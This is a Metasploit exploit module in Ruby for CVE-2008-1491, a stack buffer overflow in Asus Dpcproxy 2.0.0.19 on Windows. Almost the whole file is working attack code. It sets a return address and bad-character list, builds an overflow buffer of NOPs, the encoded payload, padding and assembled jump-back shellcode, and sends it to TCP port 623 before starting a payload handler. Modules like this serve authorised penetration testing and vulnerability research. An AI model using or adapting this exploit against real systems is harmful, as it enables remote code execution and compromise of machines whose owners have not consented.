1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = AverageRanking
8

9
  include Msf::Exploit::Remote::Tcp
10

11
  def initialize(info = {})
12
    super(
13
      update_info(
14
        info,
15
        'Name' => 'Asus Dpcproxy Buffer Overflow',
16
        'Description' => %q{
17
          This module exploits a stack buffer overflow in Asus Dpcroxy version 2.0.0.19.
18
          It should be vulnerable until version 2.0.0.24.
19
          Credit to Luigi Auriemma
20
        },
21
        'Author' => 'Jacopo Cervini',
22
        'References' => [
23
          [ 'CVE', '2008-1491' ],
24
          [ 'OSVDB', '43638' ],
25
          [ 'BID', '28394' ],
26
        ],
27
        'DefaultOptions' => {
28
          'EXITFUNC' => 'process',
29
        },
30
        'Payload' => {
31
          'Space' => 400,
32
          'BadChars' => "\x07\x08\x0d\x0e\x0f\x7e\x7f\xff",
33
        },
34
        'Platform' => 'win',
35
        'Targets' => [
36
          [ 'Asus Dpcroxy version 2.00.19 Universal', { 'Ret' => 0x0040273b } ], # p/p/r
37
        ],
38
        'Privileged' => true,
39
        'DefaultTarget' => 0,
40
        'DisclosureDate' => '2008-03-21',
41
        'Notes' => {
42
          'Reliability' => UNKNOWN_RELIABILITY,
43
          'Stability' => UNKNOWN_STABILITY,
44
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
45
        }
46
      )
47
    )
48

49
    register_options([Opt::RPORT(623)])
50
  end
51

52
  def exploit
53
    connect
54

55
    sploit = make_nops(0x38a - payload.encoded.length) + payload.encoded + rand_text_english(6032)
56
    sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2)
57
    sploit << [target.ret].pack('V') + make_nops(8) + Metasm::Shellcode.assemble(Metasm::Ia32.new, "add bh,6 add bh,6 add bh,2 push ebx ret").encode_string # jmp back
58
    sploit << make_nops(50)
59

60
    print_status("Trying target #{target.name}...")
61
    sock.put(sploit)
62
    select(nil, nil, nil, 3) # =(
63

64
    handler
65
    disconnect
66
  end
67
end
68

69